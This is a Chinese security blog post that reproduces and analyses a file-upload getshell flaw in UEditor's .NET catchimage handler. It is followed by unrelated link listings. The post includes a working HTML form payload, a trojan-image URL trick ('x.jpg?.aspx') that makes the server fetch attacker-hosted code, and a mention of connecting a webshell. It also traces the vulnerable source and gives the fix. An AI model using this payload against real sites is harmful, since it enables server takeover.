ueditor getshell漏洞重现及分析
0x00 概述
8月21日,网上爆出ueditor .net版本getshell漏洞,由于只校验ContentType而没校验文件后缀导致getshell。
0x01 漏洞重现
Payload:
<form action=”http://www.xxx.com/controller.ashx?action=catchimage” enctype=”application/x-www-form-urlencoded” method=”POST”>
<p>shell addr:<input type=”text” name=”source[]” /></p >
<input type=”submit” value=”Submit” />
</form>
图片马x.jpg放在自己服务器上
提交http://www.domain.top/x.jpg?.aspx

返回:

菜刀连接:
0x02 修复方案
增加文件扩展名校验(白名单)
0x03 漏洞分析
ueditor1_4_3_3-utf8-net\utf8-net\net\controller.ashx
<%@ WebHandler Language="C#" Class="UEditorHandler" %> using System;
using System.Web;
using System.IO;
using System.Collections;
using Newtonsoft.Json; public class UEditorHandler : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
Handler action = null;
switch (context.Request["action"])
{
case "config":
action = new ConfigHandler(context);
break;
case "uploadimage":
action = new UploadHandler(context, new UploadConfig()
{
AllowExtensions = Config.GetStringList("imageAllowFiles"),
PathFormat = Config.GetString("imagePathFormat"),
SizeLimit = Config.GetInt("imageMaxSize"),
UploadFieldName = Config.GetString("imageFieldName")
});
break;
case "uploadscrawl":
action = new UploadHandler(context, new UploadConfig()
{
AllowExtensions = new string[] { ".png" },
PathFormat = Config.GetString("scrawlPathFormat"),
SizeLimit = Config.GetInt("scrawlMaxSize"),
UploadFieldName = Config.GetString("scrawlFieldName"),
Base64 = true,
Base64Filename = "scrawl.png"
});
break;
case "uploadvideo":
action = new UploadHandler(context, new UploadConfig()
{
AllowExtensions = Config.GetStringList("videoAllowFiles"),
PathFormat = Config.GetString("videoPathFormat"),
SizeLimit = Config.GetInt("videoMaxSize"),
UploadFieldName = Config.GetString("videoFieldName")
});
break;
case "uploadfile":
action = new UploadHandler(context, new UploadConfig()
{
AllowExtensions = Config.GetStringList("fileAllowFiles"),
PathFormat = Config.GetString("filePathFormat"),
SizeLimit = Config.GetInt("fileMaxSize"),
UploadFieldName = Config.GetString("fileFieldName")
});
break;
case "listimage":
action = new ListFileManager(context, Config.GetString("imageManagerListPath"), Config.GetStringList("imageManagerAllowFiles"));
break;
case "listfile":
action = new ListFileManager(context, Config.GetString("fileManagerListPath"), Config.GetStringList("fileManagerAllowFiles"));
break;
case "catchimage":
action = new CrawlerHandler(context);
break;
default:
action = new NotSupportedHandler(context);
break;
}
action.Process();
} public bool IsReusable
{
get
{
return false;
}
}
}
根据payload,这次漏洞利用点在
case “catchimage”:
action = new CrawlerHandler(context);
break;
找到CrawlerHandler这个类
ueditor1_4_3_3-utf8-net\utf8-net\net\App_Code\CrawlerHandler.cs
public class CrawlerHandler : Handler
{
private string[] Sources;
private Crawler[] Crawlers;
public CrawlerHandler(HttpContext context) : base(context) { } public override void Process()
{
Sources = Request.Form.GetValues("source[]");
if (Sources == null || Sources.Length == 0)
{
WriteJson(new
{
state = "参数错误:没有指定抓取源"
});
return;
}
Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray();
WriteJson(new
{
state = "SUCCESS",
list = Crawlers.Select(x => new
{
state = x.State,
source = x.SourceUrl,
url = x.ServerUrl
})
});
}
}
获取传入的source[]
Sources = Request.Form.GetValues(“source[]”);
关键在:
Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray();
找到Crawler类的Fetch方法:
public class Crawler
{
public string SourceUrl { get; set; }
public string ServerUrl { get; set; }
public string State { get; set; } private HttpServerUtility Server { get; set; } public Crawler(string sourceUrl, HttpServerUtility server)
{
this.SourceUrl = sourceUrl;
this.Server = server;
} public Crawler Fetch()
{
if (!IsExternalIPAddress(this.SourceUrl))
{
State = "INVALID_URL";
return this;
}
var request = HttpWebRequest.Create(this.SourceUrl) as HttpWebRequest;
using (var response = request.GetResponse() as HttpWebResponse)
{
if (response.StatusCode != HttpStatusCode.OK)
{
State = "Url returns " + response.StatusCode + ", " + response.StatusDescription;
return this;
}
if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}
ServerUrl = PathFormatter.Format(Path.GetFileName(this.SourceUrl), Config.GetString("catcherPathFormat"));
var savePath = Server.MapPath(ServerUrl);
if (!Directory.Exists(Path.GetDirectoryName(savePath)))
{
Directory.CreateDirectory(Path.GetDirectoryName(savePath));
}
try
{
var stream = response.GetResponseStream();
var reader = new BinaryReader(stream);
byte[] bytes;
using (var ms = new MemoryStream())
{
byte[] buffer = new byte[4096];
int count;
while ((count = reader.Read(buffer, 0, buffer.Length)) != 0)
{
ms.Write(buffer, 0, count);
}
bytes = ms.ToArray();
}
File.WriteAllBytes(savePath, bytes);
State = "SUCCESS";
}
catch (Exception e)
{
State = "抓取错误:" + e.Message;
}
return this;
}
}
据说1.5dev版没有判断ip:
if (!IsExternalIPAddress(this.SourceUrl))
https://github.com/fex-team/ueditor/blob/dev-1.5.0/net/App_Code/CrawlerHandler.cs (404)
所以1.4.3.3这版本要可解析的域名作为payload
接着进入判断
if (response.ContentType.IndexOf(“image”) == -1)
{
State = “Url is not an image”;
return this;
}
这就是漏洞所在,只判断响应的ContentType,可以构造图片马绕过,如:
http://www.domain.top/xxx.jpg?.aspx
或xxx.php?.aspx在xxx.php中设置ContentType。
最后流程保存文件。
0x04 检测工具
对此漏洞的检测工具,支持单url和批量,使用中有任何问题欢迎反馈!
https://github.com/theLSA/ueditor-getshell
0x05 参考资料
https://www.jianshu.com/p/6dae608b617c?from=timeline&isappinstalled=0
www.freebuf.com/vuls/181814.html
转载请注明来源:ueditor getshell漏洞重现及分析 - LSABLOG
ueditor getshell漏洞重现及分析的更多相关文章
- DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞
DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞 1.漏洞利用 由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量 ...
- SMB协议利用之ms17-010-永恒之蓝漏洞抓包分析SMB协议
SMB协议利用之ms17-010-永恒之蓝漏洞抓包分析SMB协议 实验环境: Kali msf以及wireshark Win7开启网络共享(SMB协议) 实验步骤: 1.查看本机数据库是否开启,发现数 ...
- Typecho反序列化导致前台 getshell 漏洞复现
Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...
- CVE-2015-1641 Office类型混淆漏洞及shellcode分析
作者:枕边月亮 原文来自:CVE-2015-1641 Office类型混淆漏洞及shellcode分析 0x1实验环境:Win7_32位,Office2007 0x2工具:Windbg,OD,火绒剑, ...
- 阿里云提出的漏洞(Phpcms V9某处逻辑问题导致getshell漏洞解决方法)的问题
最近从阿里云云盾检测流出来的,相比使用阿里云服务器的朋友已经收到漏洞提醒:Phpcms V9某处逻辑问题导致getshell漏洞解决方法,这个漏洞怎么办呢?CMSYOU在这里找到针对性解决办法分享给大 ...
- 【转】cve2014-3153 漏洞之详细分析与利用
背景学习: Linux Futex的设计与实现 使用者角度看bionic pthread_mutex和linux futex实现 By kernux TopSec α-lab 一 漏洞概述 这个漏洞是 ...
- 16.Tomcat弱口令 && 后台getshell漏洞
Tomcat7+ 弱口令 && 后台getshell漏洞 Tomcat版本:8.0 环境说明 Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下.其中, ...
- 漏洞扫描与分析-Nessus-8.7.2最新版-安装-部署-使用
漏洞扫描与分析-Nessus 2019/10/10 Chenxin 简介 官网 https://zh-cn.tenable.com/ 产品 https://zh-cn.tenable.com/prod ...
- BEC合约整数溢出漏洞还原与分析
一.币圈一秒,人间一年 有道是币圈一日,人间一年.这个说法又得升级了,叫币圈一秒,人间一年. 前不久,币圈又出大事啦.BEC智能合约被爆出整数溢出漏洞,导致黑客能无限印币,在一次交易中,也就那么几秒钟 ...
随机推荐
- Android的第一个程序
摘要:对于安卓的历史和安卓需要学习哪些东西以及怎么安卓环境,我就不在这里多说了,网上一大推. 我这里主要说的就是代码.一些基础的安卓知识.在接下来的每个月里我都会不定期写一些博客给初学者学习,我会尽量 ...
- 线性表的Java实现--链式存储(单向链表)
单向链表(单链表)是链表的一种,其特点是链表的链接方向是单向的,对链表的访问要通过顺序读取从头部开始. 链式存储结构的线性表将采用一组任意的存储单元存放线性表中的数据元素.由于不需要按顺序存储,链表在 ...
- spring+quarts常见问题
javax/transaction/UserTransactionCaused by: java.lang.NoClassDefFoundError: javax/transaction/UserTr ...
- @WebServlet
编写好Servlet之后,接下来要告诉Web容器有关于这个Servlet的一些信息.在Servlet 3.0中,可以使用标注(Annotation)来告知容器哪些Servlet会提供服务以及额外信息. ...
- python之路——进程
操作系统背景知识 顾名思义,进程即正在执行的一个过程.进程是对正在运行程序的一个抽象. 进程的概念起源于操作系统,是操作系统最核心的概念,也是操作系统提供的最古老也是最重要的抽象概念之一.操作系统的其 ...
- Zip压缩/解压缩(文件夹)
#PS2.0压缩为.zip文件: $zip = "D:\audit_log\test.zip"New-Item $zip -ItemType file$shellApplicati ...
- Skype for Business 安装组件RewriteModule失败
最近QQ网友提到部署Skype for Business,安装组件时提示安装必备组件失败:RewriteModule,如下图,安装文件名是rewrite_2.0_rtw_x64.msi,尝试手动安装也 ...
- c# 内存泄漏检查心得
系统环境 windows 7 x64 检查工具:ANTS Memory Profiler 7 或者 .NET Memory Profiler 4.0 开发的软件为winform / windows s ...
- Jmeter测试普通java类说明
概述 Apache JMeter是Apache组织开发的基于Java的压力测试工具.本文档主要描述用Jmeter工具对基于Dubbo.Zookeeper框架的Cassandra接口.区块链接口进行压力 ...
- December 12th 2016 Week 51st Monday
Nothing is impossible for a willing heart. 心之所愿,无所不成. I wish I can be a strong, clever, powerful and ...